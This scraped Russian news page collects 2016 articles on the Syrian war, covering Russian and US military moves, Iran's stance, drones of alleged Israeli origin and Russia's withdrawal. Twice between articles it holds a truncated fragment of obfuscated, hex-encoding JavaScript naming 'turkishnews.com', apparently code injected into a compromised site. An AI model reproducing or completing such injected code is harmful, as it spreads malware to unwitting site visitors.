    Причем, напоминает он, на Средиземном море Россия имеет явное военное преимущество: 42 корабля и шесть подводных лодок Черноморского флота, в то время как шестой флот США — только одно командное судно и четыре эсминца. При этом Рива не исключает, что Черноморский флот в ближайшее время может быть задействован и для переброски танков, вертолетов и даже солдат для поддержки правительственных войск Башара ас-Асада, которые ведут жестокие бои за Алеппо.

    В такой сценарий, впрочем, верится с трудом. Но факт в том, что длящаяся уже два месяца битва за Алеппо, словно воронка, «засасывает» все больше воюющих сторон: помимо армии Сирии и российских ВВС в ней участвуют солдаты и наемники из Ирана и Ирака, а вот боевиков, по некоторым данным, поддерживают Катар, Турция и Саудовская Аравия. Число жертв боев уже превысило тысячу человек…

    http://yug.svpressa.ru/war21/article/138817/?rreg=1

  • Пентагон не может справиться в Сирии без России

    Пентагон не может справиться в Сирии без России

    Авианосцы США покинули Средиземное море из-за неспособности эффективно уничтожать боевиков

    Россия и США углубят сотрудничество при проведении военных операций в Сирии. В частности, Пентагон и Минобороны РФ намерены более предметно обмениваться разведывательной и оперативной информацией о местах дислокации боевиков для нанесения по ним скоординированных ударов. Именно эти вопросы, по данным «НГ», стали главными на переговорах госсекретаря США Джона Керри с российским руководством.

    Таким образом, выдвигаемые Москвой уже более полугода предложения о более тесном боевом взаимодействии с Вашингтоном в Сирии наконец-то имеют тенденцию к реализации. Хотя вряд ли американцы пойдут на большие уступки. Они в Сирии реализуют собственные интересы, связанные с поддержкой умеренной оппозиции, противодействием режиму Башара Асада и борьбой с радикальными террористическими группировками. Неспособность выполнить эти задачи самостоятельно и побудила, видимо, руководство США договариваться с Россией. В Белом доме, наверное, поняли, что не только сила решает на Ближнем Востоке исход дела. По крайней мере всего чуть более месяца находились в Средиземноморье два американских авианосца Harry S. Truman и Dwight D. Eisenhower, с которых палубные самолеты пытались наносить удары по позициям боевиков «Исламского государства» (ИГ – террористическая организация, запрещенная в РФ). Сейчас, как сообщило Центральное командование вооруженных сил США, авианосные ударные группы во главе с атомными авианосцами Harry S. Truman и Dwight D. Eisenhower покинули район восточного Средиземноморья. В настоящий момент корабельная группа Dwight D. Eisenhower находится в Индийском океане на подходе к Персидскому заливу. А Harry S. Truman и поддерживающие его корабли прибыли в минувшую среду на базу в Норфолке (штат Вирджиния, США).

    За последние две-три недели, когда авианосцы находились недалеко от зоны боевых действий, между Россией и США в небе над Сирией и у ее берегов произошло несколько инцидентов в воздухе и на море, в которых Пентагон и Минобороны РФ обвиняли друг друга (см. «НГ» от 10.06.16 и 20.06.16). Вряд ли будет справедливо утверждать, что именно российские корабли и самолеты помешали американским авианосцам эффективно выполнять свои задачи, но факт в том, что свою деятельность в акватории Средиземного моря американцы свернули. Хотя еще месяц назад представитель Пентагона заявлял СМИ, что авианосцы в Средиземном море нужны для того, чтобы, в частности, продемонстрировать РФ мощь американского военного присутствия, «чтобы послать сигнал России».

    Пока точно неизвестно, каким образом США и РФ будут крепить боевое взаимодействие в Сирии. Однако вчера сирийский лидер Башар Асад в очередной раз назвал американские бомбардировки по ИГ на сирийской территории «незаконными, несерьезными, неэффективными и контрпродуктивными». Неэффективными считают в Москве и озвученные вчера Джоном Керри предложения оказать влияние на Дамаск с тем, «чтобы сирийские власти ограничили активность военной авиации и свели ее исключительно к вылетам с гуманитарной или эвакуационной целью». Российская авиация и правительственные войска Сирии, конечно же, будут продолжать вести вооруженную борьбу с непримиримыми группировками боевиков. Концентрация сил на направлении главных ударов уже наблюдается в Алеппо, где шиитские силы, ополчение и войска Асада окружили город и готовятся его полностью освободить.

    Конечно, было бы неправильным игнорировать военный потенциал США на Ближнем Востоке. В сводках Пентагона регулярно появляется информация об авиаударах, которые самолеты американской коалиции наносят по целям в Сирии и Ираке. В Сирии ВВС США в основном бомбят нефтяную и газовую инфраструктуру в провинциях Ракка и Дей-эр-Зор, а также позиции боевиков в районе города Манбидж (провинция Алеппо). Здесь при поддержке ВВС США и американских коммандос курдские отряды ополчения и наемники ведут вялотекущее наступление в направлении анклава Африн. Боевые вылеты авиации США в основном происходят с авиабаз в Турции (Инджирлик), Кувейте (авиабаза Аль-Джабир), Катаре (Эль-Удейд) и Омане (Масира, Эль-Хасиб). Это огромная по сравнению с нашей авиабазой Хмейним военная инфраструктура, на которой базируются более 100 различных боевых, разведывательных и военно-транспортных самолетов из США и других стран НАТО.
    Владимир Мухин
    Обозреватель «Независимой газеты»

    15/07/16

    Источник — ng.ru
  • У Ирана вызывают раздражение совместные действия США и России в Сирии

    У Ирана вызывают раздражение совместные действия США и России в Сирии

    iran mapС момента подписания соглашения по иранской ядерной программе отношения между Вашингтоном и Тегераном не улучшились, пишет Кристоф Айяд в статье, напечатанной в газете Le Monde.

    После того, как перемирие на севере Сирии было продлено до полуночи 10 мая, Тегеран объявил о своих самых серьезных потерях — 13 военных советников — со дня начала сирийского конфликта, в котором Иран выступает на стороне Башара Асада. Тегеран выступил с осуждением нарушения прекращения огня в рамках перемирия, поддерживаемого Москвой и Вашингтоном. Эти потери демонстрируют масштабы участия Ирана в сирийском конфликте. Вместе с тем, Али Акбар Велаяти, дипломатический советник верховного духовного лидера Ирана Али Хаменеи, встретился в субботу с Башаром Асадом и заверил его в том, что ИРИ будет использовать все имеющиеся средства в борьбе с террористами. «Иранские лидеры все меньше скрывают свое раздражение тем, что они воспринимают как совместное исключительное управление сирийским кризисом со стороны России и Соединенных Штатов. Москва, другой сильный союзник сирийского режима, кажется, действительно больше дорожит своим перманентным диалогом с Вашингтоном, нежели своим альянсом в Сирии с Тегераном», — пишет корреспондент.

    Раздражение Тегерана проявляется и в яростных антиамериканских заявлениях. 5 мая Али Хаменеи обвинил США в проведении антишиитской политики. Президент Хасан Рухани в тот же день выступил со своей самой антиамериканской речью с момента своего избрания в 2013 году и подписания в июле 2015 года соглашения по ИЯП. После вступления в силу этого соглашения отношения между Ираном и США вовсе не улучшились. Напротив, сохранение американских санкций в отношении иранских банков и решение американского суда использовать 2 млрд долларов, находящихся на замороженных иранских счетах, в качестве компенсаций семьям жертв теракта против американских военных в Бейруте в 1980 году, были восприняты как враждебные. Тегеран в лучших традициях прошлого заявил о готовности закрыть Ормузский пролив, через который перевозится треть всей мировой нефти, в ответ на американское военное присутствие в Персидском заливе. Не способствуют укреплению отношений и высказывания советника Барака Обамы Бена Родса о том, что секретные переговоры между Вашингтоном и Тегераном ведутся с лета 2012 года. Это потенциально дискредитирующие сведения как для американского президента, так и для верховного иранского лидера, который продолжает позиционировать себя как главного врага американского «большого Сатаны», пишет корреспондент.
    10 мая 2016 г.

    Кристоф Айяд |

    Источник: Le Monde

    Источник — inopressa.ru
  • Россия в Сирии использует израильские беспилотники?

    Россия в Сирии использует израильские беспилотники?

    rossia-flaqКакие аппараты применяют «сторонники Башара Асада»

    В сентябре прошлого года израильские и российские СМИ сообщили о сделке между российским концерном «Оборонпром» и Israel Aerospace Industries (IAI) по продаже в РФ десяти беспилотных летательных аппаратов марки IAI Searcher. Необходимость этой сделки появилась после войны 2008 года между Россией и Грузией, в ходе которой РФ потеряла недопустимое количество пилотируемых самолетов. Война дала толчок к модернизации существующего на тот момент парка российских БЛА. И в 2010 году Россия подписала с Израилем контракт на 400 млн. долларов для приобретения ряда современных беспилотных летательных аппаратов, производимых компанией IAI.

    Хотя этой сделке в свое время не было уделено много внимания, но к 2015 году ее результат привел к довольно щекотливой ситуации, пишет портал Middle East Eye *,. Дело в том, что Россия поддержала противника Израиля — Иран, договорившись о поставках последнему передовой военной техники, в том числе и зенитных систем С-300.

    В последнее время между Россией и Израилем часто имели место трения по поводу экспорта военной техники третьим странам. В 2014 году, когда Израиль обдумывал продажу беспилотников на Украину, Россия вмешалась, оказала на него давление и вынудила отменить эту сделку, а вместо Украины продать БЛА ей. В то же время Израиль призвал Россию дистанцироваться от Ирана и прекратить продажу средств ПВО Ирану.

    По мере того, как в сирийском небе стало появляться все больше летательных аппаратов, распространение БЛА в Сирии приняло странные формы. Хорошо известно, что иранская технология беспилотников использовалась вооруженными силами Сирии на протяжении многих лет. Многие из моделей БЛА сирийских военно-воздушных сил и их иранских союзников были скопированы с американских. Так, 4 февраля иранские СМИ показали кадры, где один из его беспилотников марки Shahed-129 атакует позиции мятежников и уничтожает какое-то строение на земле (тезис западного журналиста о том, что Shahed-129 скопирован с американского БЛА — довольно спорный, подробнее читайте в материале «СП» Shahed 129: Тегеран бьет по Сирии ракетами — прим. ред.). Иранские беспилотники Shahed-129 были и ранее замечены над пригородами Дамаска, и их фото появлялись в течение последних лет. Однако тогда говорилось, что они могут вести только разведку, но не являются беспилотниками ударного типа.

    Беспилотники США поражают цели «Исламского государства» **, начиная с 2014 года, после того, как Штаты решили противостоять ему на территории Сирии. Прямое вмешательство России в Сирии по просьбе Башара Асада еще более запутало ситуацию. Российские БЛА часто действуют в одном районе с дронами США. Есть даже фотография, где они запечатлены вместе.

    Руководство России и ранее заявляло, что его беспилотники летают над Сирией, хотя и без упоминания конкретной модели — возможно, на это есть свои основания. Если и в самом деле Россия использует в Сирии аппараты марки «Форпост», то это означает, что иранские и израильские беспилотники сражаются на одной и той же стороне вооруженного конфликта.

    Видимо, по причинам национальной гордости и создаваемого в СМИ образа, Россия именует израильские беспилотники своего небольшого парка «Форпостом». По крайней мере, два российских аппарата были сбиты над Украиной, что вызвало гнев со стороны правительства Киева по отношению к Израилю. Согласно предположению агентства Bloomberg, за кулисами дипломатических игр вокруг ядерной программы Ирана и продажи ракет С-300 в ИРИ, сделка между Израилем и РФ занимает центральное место. В статье Калев Бен-Давид и Илья Архипов отмечают, что Израиль был «явно нейтрален» по поводу присоединения Крыма к России.

    Отбросив в сторону все спекуляции, есть много косвенных доказательств того, что израильские БЛА используется против сирийской оппозиции для поддержки Асада. Так, существует фотография, которая была размещена на проправительственной странице в Фейсбуке для показа «сирийского военного потенциала». Фото вызвало много спекуляций в израильских СМИ, а также среди сирийцев в соцсетях. Она была сделана сирийским фотографом Ахмедом аль-Хаер якобы в Латакии, где Россия имеет свою авиабазу (на той же странице также были размещено несколько других изображений российских самолетов над Латакией). В группе Facebook, БЛА идентифицируется в титрах как «Форпост». И действительно — аппарат явно идентичен израильско-российским беспилотникам, которые были сбиты над Украиной.

    Активисты в Латакии на страницах The Jerusalem Post также утверждают, что видели «Форпосты», которые вели съемки позиций мятежников, и они были аналогичны фотографии на Фейсбуке.

    Израильские СМИ изобилует спекуляциями на эту тему в том же The Jerusalem Post, Ynet, а также в выпусках израильских новостей News24. Там предполагают, что БЛА израильского происхождения могут поддерживать Асада. Тот факт, что израильская технология поддерживает так называемую «ось сопротивления», может стать затруднением в отношениях между Израилем, Россией и режимом Асада. Сирийское правительство в его официальных выпусках новостей хранит вполне предсказуемое молчание по поводу БЛА.

    Ситуацию комментирует эксперт в области беспилотных систем Денис Федутинов.

    — Рассуждения о том, что БЛА «Форпост» сильно схож с израильским аппаратом, действительно имеют под собой основания. «Форпост» — это российское название для комплекса БЛА тактического класса Searcher Mk II. В 2010 году действительно было подписано российско-израильское соглашение по лицензионной сборке данных систем в России (а также систем мини-БЛА BirdEye, получивших в России наименование «Застава»). В качестве площадки российским ОПК «Оборонпром» был выбран авиаремонтный завод УЗГА из Екатеринбурга. Стоит также отметить, что до организации в рамках упомянутого соглашения в нашей стране сборочного производства, российским Министерством обороны была также приобретена партия аналогичных БЛА непосредственно в Израиле.

    «СП»: — Есть ли реальные факты, что израильские БЛА применяются «сторонниками Асада»?

    — Достоверно можно говорить о том, что в Сирию поставлялись беспилотные системы еще советской разработки, где самое новое — это комплекс с ДПЛА (дистанционно пилотируемым летательным аппаратом) тактического класса «Пчела». Все остальные мысли на данную тему являются лишь предположениями. Здесь можно говорить, что Сирия в последние годы могла получить определенное, по видимому, весьма незначительное, количество мини-класса «Элерон-3СВ» разработки казанской компании «Эникс», и «Орлан-10» разработки петербургской компании СТЦ. Крайне сомнительно, что в Сирию через Россию могли быть поставлены БЛА израильской разработки, будь то произведенные в России, или же непосредственно в Израиле (из состава ВС РФ).

    «СП»: — Какие российские аппараты были замечены в САР?

    — Если опираться на информацию, появлявшуюся в разное время в открытых источниках, будь то средства массовой информации или блоги, то из разработанных в нашей стране беспилотников в Сирии были замечены ДПЛА «Пчела», БЛА мини-класса «Элерон-3СВ», и «Орлан-10», а также некий неизвестный БЛА, который, по-видимому, является закрытой разработкой отечественного ОПК. Что касается «Форпоста» то все свидетельства базируются только на фото сирийского блогера, который вроде как запечатлел в небе над Сирией БЛА внешне напоминающий аппарат этого комплекса.

    * Автор статьи, перевод которой сделал Александр Сивов, — Патрик Хильсман, независимый журналист. Он передавал информацию непосредственно из Алеппо в 2012, 2013, 2014 и 2015 годах. Имеет двойное гражданство, Франции и США. Middle East Eye (Глаз Ближнего Востока) — новостной портал, освещающий события на Ближнем Востоке и позиционирующий себя как самофинансируемый ресурс, который стремится стать главным СМИ по новостям с Ближнего Востока. Редактор — Дэвид Херст, бывший руководитель раздела международных новостей британской газеты The Guardian.

    ** «Исламское государство» (ИГ, ИГИЛ) решением Верховного суда РФ от 29 декабря 2014 года было признано террористической организацией, ее деятельность на территории России запрещена
    Антон Мардасов, Александр Сивов
    31.03.16

    Источник — svpressa.ru
  • Президент Израиля и госсекретарь США спешат договориться с Москвой о Дамаске

    Президент Израиля и госсекретарь США спешат договориться с Москвой о Дамаске

    syria-mapВывод российской группировки из Сирии, ставший приятной неожиданностью для США и противников Башара Асада, может отвернуть от Москвы Дамаск, Тегеран и «Хезболлу». Пентагон призывает не торопить события, а госсекретарь США Джон Керри – воспользоваться выпавшим шансом и положить конец войне в Сирии. Однако завершение кампании может не только способствовать мирным переговорам, но и обернуться распадом Сирии.

    Джон Керри посетит Москву на следующей неделе, и сирийская тема станет центральной в повестке дня. Дипломаты обсудят и другие аспекты ситуации на Ближнем Востоке и в Северной Африке с учетом расползания «Исламского государства» (ИГ, запрещенная в России террористическая группировка. – «НГ»), заявил вчера глава МИД РФ Сергей Лавров.

    По словам представителя Госдепа Джона Кирби, цель поездки его шефа – «поиск путей для продвижения политического процесса в Сирии». Сам Керри в Twitter написал, что через пять лет после начала гражданской войны в Сирии появилась реальная возможность покончить с насилием, и этим моментом нужно воспользоваться. Решение о выводе российской группировки совпало с началом мирных переговоров между правительственной делегацией и оппозиционными группировками в Женеве, и теперь у повстанцев нет причин игнорировать консультации.

    Однако военные США настороженно отнеслись к инициативе Владимира Путина о выводе группировки. Официальный представитель Пентагона Питер Кук заявил, что США будут «ждать, чтобы убедиться», действительно ли Путин искренен в своем решении, пишет Hill. Он добавил, что Пентагон зафиксировал продолжение авиаударов в Сирии после заявления президента РФ.

    В свою очередь, Кирби заметил, что США «не знают, не понимают и не могут комментировать мотивы, побудившие главу России объявить о выводе ВКС». Но это решение является «потенциально обнадеживающим и позитивным знаком».

    Как пишет Financial Times со ссылкой на высокопоставленный источник в европейских спецслужбах, Россия вывела войска, потому что ее план блицкрига провалился. Москва рассчитывала провести быструю военную кампанию и за несколько месяцев помочь Асаду вернуть контроль над территориями и ослабить повстанцев. Однако ожесточенное сопротивление оппозиции, напряженное противостояние с Турцией и перспектива того, что мировые цены на нефть останутся на уровне 40 долл. за баррель, больно ударили по России и сократили ее возможности.

    Тем временем в Москву прибыл президент Израиля Реувен Ривлин с целью заручиться поддержкой России на Ближнем Востоке. Издание Walla со ссылкой на источники в руководстве Израиля пишет, что там пытаются понять, что заставило Москву вывести свой контингент. На вчерашней встрече с Путиным Ривлин выразил озабоченность в связи с укреплением позиций Ирана и «Хезболлы», создавших шиитскую ось в канун и после ухода российской группировки.

    И здесь позиции России и Израиля, по мнению Тель-Авива, совпадают. «Русские не хотят допустить чрезмерного усиления Ирана, – уверен источник в окружении Ривлина. – Они также понимают, что укрепление позиций «Хезболлы» в Сирии плохо для всех». Израиль, формально сохраняя нейтральную позицию в Сирии, периодически наносит авиаудары, чтобы сорвать переброску оружия «Хезболлой».

    Арабские СМИ сообщили, что после заявления Путина «Хезболла» якобы приступила к выводу отрядов из Сирии. Однако сама группировка назвала эти слухи нелепыми «проявлениями психологической войны» медиа, работающих по указке ближневосточных монархий.

    Иран позитивно оценил вывод российских подразделений. «Тот факт, что в России объявили, что отзывают часть своих сил, указывает на то, что они не видят непосредственной необходимости прибегать к применению силы в поддержании режима прекращения огня, – заявил глава МИД Ирана Мохаммад Джавад Зариф, передает Press TV. – Это само по себе положительный шаг».

    Однако в действительности Тегеран может придерживаться прямо противоположной позиции, утверждает Bloomberg. Вывод войск грозит охлаждением отношений между Россией и Ираном.

    Старший научный сотрудник Института востоковедения РАН Владимир Сажин обратил внимание еще на один аспект. «Я бы не сказал, что наши отношения когда-либо были очень хорошими, чтобы ухудшились еще сильнее. И даже президент Хасан Рухани, который положительно относится к России и при котором наши связи углубились, признал, что у Москвы и Тегерана нет совпадения позиций по Сирии, – заявил он «НГ». – Иран не может потерять дружественное алавитское руководство в Сирии, а России по большому счету безразлично, кто будет новым руководителем – суннит, алавит, христианин, – главное, чтобы он понимал и оценивал реальные интересы России в регионе».

    При этом эксперт напомнил о разногласиях в самом Тегеране. «Иран официально приветствовал решение России. Если же говорить о реальном положении, то в элите нет единого мнения о роли Ирана в Сирии и соответственно роли России в этой стране, – подчеркнул Сажин. – Внутриполитическая ситуация в Иране очень сложная: Корпус стражей иранской революции ратует за усиление Ирана в Сирии, так называемые реформаторы предлагают решать конфликт дипломатическим путем, третья группа предлагает воевать чужими руками и нанимать добровольцев, отправляя их в Сирию. За последние полтора года Иран понес колоссальные потери: погибли восемь генералов, что вызвало недовольство в Тегеране».

    Для сирийских властей слова Путина тоже стали сюрпризом, заявили источники в правительстве в беседе с ливанской газетой As-Safir. Собеседники раскритиковали договоренности России и США, которые, по их словам, нивелировали давление на повстанцев.

    Вывод войск может не только пошатнуть позиции Асада, но и расколоть Сирию. Курды, контролирующие север страны, готовятся объявить об автономии или хотя бы расширить рамки самоуправления и создать собственные органы исполнительной власти, передает Reuters. Курды объединят три автономных района в единую федеральную систему, и это уже крайне встревожило Анкару, которая опасается, что следующим шагом станет создание независимого Курдистана на территории Сирии, Ирака и Турции.

    Евгений Медведев

    17.03.16

    Источник — ng.ru

    // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "turkishnews.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

  • Россия уходит из Сирии, чтобы вернуться?

    Россия уходит из Сирии, чтобы вернуться?

    Тофик Аббасов

    На сирийском направлении устанавливается относительное затишье, однако наивно полагать, что спокойствие превратится в долгожданный перманент. Согласно давно сложившейся практике, мир на полях военных действий непременно вызывает ожесточенную волну политических интриг в коридорах. Вокруг сирийского поля они и так никогда не утихали. А уж после ухода российских военных сил с театра боевых действий точно следует ожидать всплеска дипломатических сражений.

    Пока обозначился неожиданный поворот, а решение Москвы о выводе своей ударной группировки из конфликтной среды стало полной неожиданностью для заинтересованных акторов и сообщества, повышается градус интенсивных закрытых консультаций. Если маневры главных действующих лиц не так уж и отчетливо проливают свет на структуру контуров плана разблокирования кризиса, то телодвижения второстепенных участников предоставляют достаточную пищу и для размышлений, и для реалистичных  выводов.

    В одном уж точно можно не сомневаться – почти все из игроков, находящихся в фазе активного действия, что-нибудь да отвоюют для удовлетворения собственных ожиданий, но больше перепадет тем, кто выбился в лидирующую группу.

    Уходим, чтобы вернуться?!

    Россия из Сирии уходит, но этот уход не стоит квалифицировать в качестве фиаско или же действия вынужденного характера. Во-первых, Москва выводит ударную группировку из состава воздушно-космических сил, а не полностью покидает место дисклокации. База в Хмеймиме, да и в Тартусе тоже, не перестают существовать. Они в прежнем режиме будут осуществлять мониторинг, а значит, тщательно прослеживать движения присутствующих сил, в том числе исламистских радикалов, а также тех, кто все предыдущее время были главными источниками питания террористической машины джихадизма.

    Западная пресса с подачи ведущих аналитических центров поторопилась заявить, что Москва добилась главной цели – тестирования новых видов вооружений, которые ныне являются основным источником валютных поступлений для страны, находящейся в плотном кольце западных санкций. Но насколько верно эту цель обозначать в качестве стратегической для бывшей сверхдержавы, которая на протяжении последних двух десятилетий находилась в фактическом положении «вне игры» в разрешении глобальных задач?

    Главным намерением для Москвы в Сирии, скорее, было успешное возвращение себе утраченного статуса сверхдержавы. Если кому-то казалось, что построение нового расклада на Ближнем Востоке после известных операций западной коалиции в Ираке, Ливии, Афганистане, Сомали закрепило окончательное исключение России из шорт-листа дееспособных акторов, то Кремль решил по-иному. Дав горячую заявку на обязательное присутствие в зоне повышенной геополитической активности, он поставил конкурентов перед фактом.

    В предыдущие годы США вместе с союзниками пытались замуровать Москву в блок внутренних приоритетов. Дерзкое вхождение Кремля в сирийский акт показало, что слухи о медленной и верной деградации России не только сильно преувеличены, но и вовсе не соответствуют действующему положению вещей.

    Наконец, Россия определилась с новыми союзниками, нащупав возможности для военно-политической кооперации со странами, на которых можно положиться в непредвиденных обстоятельствах. Иран, Ирак, Сирия, Иордания, Ливан в определенном смысле оказались адекватными для России партнерами. К тому же Москва после долгих лет умиротворенного состояния прошла боевое военно-политическое крещение в новых условиях в серьезной заморской операции, отстояв виды на полноправное участие в глобальных процессах.

    Добровольный уход российских сил из зоны конфликта, получивший одобрение ООН и главных действующих лиц, заслуживает одобрительной оценки по определению. Не случайно даже сирийская оппозиция поддержала этот жест.

    Но при всех случаях надо бы помнить, что речь идет не об уходе стороны, которая провалила операцию. Успешное выполнение поставленной задачи и стало поводом для принятия решения о выводе ударной группы. Не исключено, что при надобности Москва может вернуться.

    Тактические цели стратегическим рознь

    Главным вопросом повестки остается все тот же, который вот уже пять лет будоражит воображение политиков и экспертного сообщества – что же будет с Сирией, какую судьбу ей готовят сильные мира сего? Теперь, когда обстановка претерпела серьезные изменения в пользу официального Дамаска, Башар Асад и его сторонники полны решимости иметь свое мнение о будущем страны и добиваться его исполнения.

    Наивно предполагать, что Россия и ее союзники добьют противника в лице разношерстной сирийской оппозиции и террористического интернационала, который был десантирован в многострадальную страну усилиями государств Персидского залива, других региональных игроков, поддерживаемых западными кругами. Сращение террористов с разумной оппозицией произошло вопреки ожиданиям умеренно настроенных сил. Пришлось потрудиться, чтобы отсечь горячие головы от рационально мыслящих противников Асада. Вот в этой разбивке и пригодился огненный шквал российских воздушно-космических сил.

    Но противники на поле брани все еще остаются, благо расклад сил резко изменился в сторону разрядки. Раз ИГИЛ и его спутники уже не фавориты силовой партии и соблюдаются условия перемирия, значит, ударный акцент переносится на поле политического перетягивания каната. Тут-то и закручивается вихрь интриг.

    Условно такая постановка вопроса, как схватка суннитской и шиитской коалиций, имеет право на существование. Впрочем, многое из того, что позволяют себе менее удачливые игроки – Саудовская Аравия, Турция, Катар, ОАЭ, Кувейт, Бахрейн, показывает, что на второстепенных полях политических трений еще долго будет жарко.

    Например, саудиты уже бросились наказывать Ливан, как страну, которая не удосужилась обломать крылья Хезболле, как наиболее опасному актору, способному повлиять на положение вещей в ожесточенном споре. Эр-Рияд и идущие с ним нога в ногу страны залива приступили к санкциям в отношении ливанских бизнесменов из числа христиан и шиитов.

    Наряду с этим саудиты активно выводят свой капитал из Ливана, закрывают кран экономической помощи этой стране и ее армии. Возможно, это и есть проявление эмоционального срыва у стороны, которая чрезмерно уверовав в собственные силы, на деле оказалась неспособной решить заявленные высокие цели.

    Чем же ответил Иран, который никогда не скрывает своего участия в региональных процессах на стороне шиитских сил. Тегеран ответил мощным ракетным ударом по позициям ИГИЛ и других группировок, воюющих против Башара Асада.

    Фактически это был довольно многозначительный ответ не только саудитам, но и Израилю, который за все предыдущие годы тайно кооперировался с монархиями Персидского залива в противостоянии с Ираном.

    Ракетная активность Хезболлы в регионе – это серьезная заявка на то, что и Тегеран, выводя своих бойцов из Корпуса стражей исламской революции, не собирается занимать позицию тихого ягненка. Его мощная и хорошо вооруженная креатура в состоянии в любой момент заговорить огненным языком.

    Тут кстати вспомнить, что ракетный потенциал Хезболлы не на шутку беспокоит Тель-Авив, который во время войны 2006-го года, идя на ковровые бомбардировки ливанских городов, так и не смог решить задачу уничтожения подземной инфраструктуры шиитской организации, позиционирующей себя, как ядро израильскому сопротивлению.

    Так что, дружба саудитов и израильтян против общего врага – Ирана, снова не дала ожидаемого результата, и теперь главные взоры направлены на то, как пойдут дела за столом переговоров и в чью пользу завершится женевский процесс.

    Чего ждать?

    Огонь гражданской войны в Сирии еще долго будет тлеть. Очень даже возможно, что джихадистская активность после начала переговоров в Женеве переменит адрес и переберется на север Ирака.

    Не все герои событий из числа полевых командиров уничтожены. По данным российской разведки, ликвидировано около 20 опасных командиров, и дабы не дать им возможность вернуться в родные пенаты в странах Залива и других частях света, патроны будут продолжать их пичкать финансами и оружием, воодушевляя на новые подвиги в борьбе за «чистый ислам».

    В Сирии начинается интересный акт. Проасадовские силы, поймав кураж, полны решимости навязать спаррингам свой план. Оно и понятно – все, кто поддерживал Асада, на данный момент тактические победители завершившейся фазы силового противостояния.

    Они настроены на то, чтобы наконец-то появилась дорожная карта, в соответствии с которой будет предопределен план дальнейших действий. Так, если ничего экстраординарного не произойдет, через 18 месяцев могут состояться долгожданные выборы в национальный парламент.

    Но до того предстоит очень непростой этап координации деятельности международной группы поддержки Сирии, посреднических сил и региональных стран. И тут обращает на себя внимание одно немаловажное обстоятельство.

    В последние дни в мировой прессе циркулируют информационные сбросы о существовании так называемого плана «Б», за которым наблюдается кулуарная активность групп, поддерживаемых Эр-Риядом.

    Стеффан де-Мистура, как обладатель мандата спецпосланника Генерального секретаря ООН, по этому поводу уже высказался довольно внятно и резко, заметив, что под планом «Б» следует подразумевать только возврат к еще более жестокой войне, чем та, что имела место до настоящего времени. Это в своем роде предупреждение сообществу, и судя по всему, С. де-Мистура осознает хрупкость положения, располагая инсайдеровской информацией о тайных играх тактических аутсайдеров.

    По дипломатическим каналам стало известно, что некие эмиссары из Саудовской Аравии в последние дни обивали пороги в Штатах, пытаясь актуализировать проблему нейтрализации Хезболлы под шапкой общей борьбы с террором. Выслушав гостей, американские персоны культурно отказали в просьбе, заявив, что во взрывоопасном регионе имеются проблемы поважней, чем ливанская группировка и ее цели.

    Вежливый отказ на запрос, безусловно, не удовлетворил саудитов, а стало быть, они не откажутся от своих намерений, и одним из реальных мишеней Эр-Рияда будет не только ненавистная шиитская группировка, но и сам переговорный процесс, точнее, его подрыв.

    Есть более чем явные предпосылки для кооперации в этом русле для таких игроков, как Турция и страны залива. Если суннитское содружество и дальше будет накалять атмосферу вокруг политического процесса, то эскалация ассиметричных военных действий станет неизбежной. И не имеет смысла питать надежду, что она обойдет стороной всех, кто видит единственный выход в возобновлении жестокой второй фазы войны.

    Чудовищные вылазки террористов в Турции уже показали, насколько чреваты попытки приручить адскую машину, и во что иной раз выливаются намерения извлечь из чужих войн шкурную выгоду. Большинство арабских стран залива пока могут держать воинствующие группировки на дистанции. Но Турции это не удается. Курдский сегмент сирийских сил принял вызов Анкары, и теперь орудует инструментарием гибридных и ассиметричных кампаний.

    Единственно верной альтернативой кровавой вакханалии был и остается всеобъемлющий мир. Предпосылки для его достижения более чем реальны. Остается только принять эту истину без раздражения и с трезвой головой, даже если события не во всем оправдывают чьи-то ожидания.

    // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "turkishnews.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

  • Пять лет сирийской эпопеи

    Пять лет сирийской эпопеи

    syria-map5 марта исполнилось пять лет со времени начала весной 2011 года большой сирийской смуты, переросшей в гражданскую войну и иностранную интервенцию. В тот день, 15 марта 2011 года, полиция задержала в городе Дераа нескольких подростков, рисовавших антиправительственные лозунги на стенах домов. Через несколько дней стало известно, что некоторые из задержанных умерли под пытками в тюрьме. Известие всколыхнуло население Дераа и других городов, в стране начались массовые антиправительственные демонстрации, усиленные вмешательством в сирийские дела Саудовской Аравии, Турции и Запада…

    Внешние силы умело использовали сложившиеся в Сирии к началу 2011 года предпосылки внутреннего кризиса. Большой ущерб стране нанесли либеральные экономические реформы, проводившиеся в начале 2000-х годов Абдаллой Дардари (его называли «сирийским Чубайсом»). В результате «реформ» возросло социальное неравенство; появившееся недовольство усугублялось всевластием сирийских спецслужб, которых в стране насчитывалось двенадцать и которые начали подменять собой партию БААС. Положение осложнялось тем, что в 2004-2009 годах в Сирии свирепствовала засуха, около трех миллионов сельских жителей перебрались в города. Там им приходилось жить в трущобных поселках, на грани нищеты, и это была готовая почва для распространения пропаганды экстремистов-салафитов.

    Вместе с тем по сравнению с Египтом, Йеменом и еще добрым десятком арабских государств Сирия была благополучной страной с динамично развивающейся экономикой, полностью обеспечивавшей себя продовольствием, активно влиявшей на обстановку на Ближнем Востоке.

    Это влияние и стало причиной ненависти, которые недруги Сирии выплеснули на нее с началом кризиса. Наибольшее недовольство Вашингтона и его региональных союзников, Саудовской Аравии и Турции, вызывало участие Сирии в «оси сопротивления», военно-политическом блоке , членами которого являлись Тегеран, Дамаск и движение «Хезболла» в Ливане. Кстати, именно этой коалиции удалось остановить израильскую агрессию в Ливане в 2006 году.

    «Ось сопротивления» мешала Вашингтону осуществить неоколониальный передел Ближнего Востока. Уже в июле 2011 года американский посол в Сирии Роберт Форд посетил Хаму, где выразил свою поддержку оппозиционерам, митингующим против правительства, открыто вмешавшись во внутренние дела страны.

